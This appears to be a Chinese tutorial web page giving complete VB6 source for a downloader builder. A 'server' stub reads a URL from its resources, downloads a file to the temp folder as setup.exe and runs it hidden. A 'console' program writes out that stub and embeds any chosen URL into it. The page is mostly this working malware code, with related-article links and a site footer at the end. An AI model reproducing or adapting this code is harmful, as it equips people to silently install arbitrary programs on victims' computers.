|
以下就是服务端 Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" _ ''''取得temp目录的API
(ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long''''下在文件的API Public Sub Main()
Dim sourceUrl As String
Dim chen() As Byte
Dim targetFile As String
Dim tempPath As String
Dim len5 As Long Dim i As Long
chen = LoadResData("HTTP", "图标") ''''取出数据
For i = 0 To 184 ''''还原为字符
If chen(i) <> 0 And chen(i) <> 32 Then
sourceUrl = sourceUrl + Chr(chen(i))
End If
Next
tempPath = String(255, 0)
len5 = GetTempPath(256, tempPath)
tempPath = Left(tempPath, len5)
targetFile = tempPath + "setup.exe" '''' 保存路径
hfile = URLDownloadToFile(0&, sourceUrl, targetFile, 0&, 0&)
If hfile = 0 Then
Shell targetFile, vbHide
End If End Sub
保存为BAS 文件就可以了 控制台文件需要对资源文件进行读写 用到以下几个API Public Declare Function BeginUpdateResource Lib "kernel32" Alias "BeginUpdateResourceA" (ByVal pFileName As String, ByVal bDeleteExistingResources As Long) As Long Public Declare Function UpdateResource Lib "kernel32" Alias "UpdateResourceA" (ByVal hUpdate As Long, ByVal lpType As String, ByVal lpName As String, ByVal wLanguage As Long, lpData As Any, ByVal cbData As Long) As Long Public Declare Function EndUpdateResource Lib "kernel32" Alias "EndUpdateResourceA" (ByVal hUpdate As Long, ByVal fDiscard As Long) As Long 这几个可以把它放到一个bas文件中 以下就是控制台的代码
Private Sub Command1_Click()
Dim bwenjian As Long
Dim wenjian As Long
Dim ewenjian As Long
Dim APP2() As Byte
Dim astr As String * 200
APP2 = LoadResData("EXE", "EXEFILE")
If Dir(Text1.Text) <> "" Then
MsgBox Text1.Text + "已存在"
Exit Sub
End If
Open Text1.Text For Binary As #1
Put #1, , APP2()
Close #1
astr = Left$(Text2.Text, 200)
bwenjian = BeginUpdateResource(Text1.Text, False)'''' 开始一个添加资源的过程
wenjian = UpdateResource(bwenjian, "图标", "HTTP", 2052, ByVal astr, 200) '''' 添加资源
ewenjian = EndUpdateResource(bwenjian, False) '''' 结束添加资源过程 End Sub Private Sub Form_Load()
Text1.Text = App.Path & "\XZ.Exe" '''' 默认的服务端文件名
End Sub
当然你要把 服务端的EXE导入里面存为资源
[VB.NET程序]GSM短信模块库函数，可以用VB,VC,调用简单实用 [办公软件]PowerPoint做交互课件之弃用VBA
[办公软件]VBA获取U盘、主板、CPU序列号和网卡MAC地址 [办公软件]VBA设置文件属性及加密源代码示例
[办公软件]VBA中初始化ADO连接的几种方法 [网络安全]“VB破坏者变种N”病毒摘要
[Web开发]ASP.NET上传文件到数据库VB版 [办公软件]在Excel中利用VBA实现多表单元格数据的读取与赋值…
[办公软件]使用Vba读取已关闭的Excel工作薄数据到当前工作表… [办公软件]Excel编程基础之VBA文件操作详解
|
注：本站部分文章源于互联网，版权归原作者所有！如有侵权，请原作者与本站联系，本站将立即删除！ 本站文章除特别注明外均可转载，但需注明出处！ [MinTao学以致用网] 
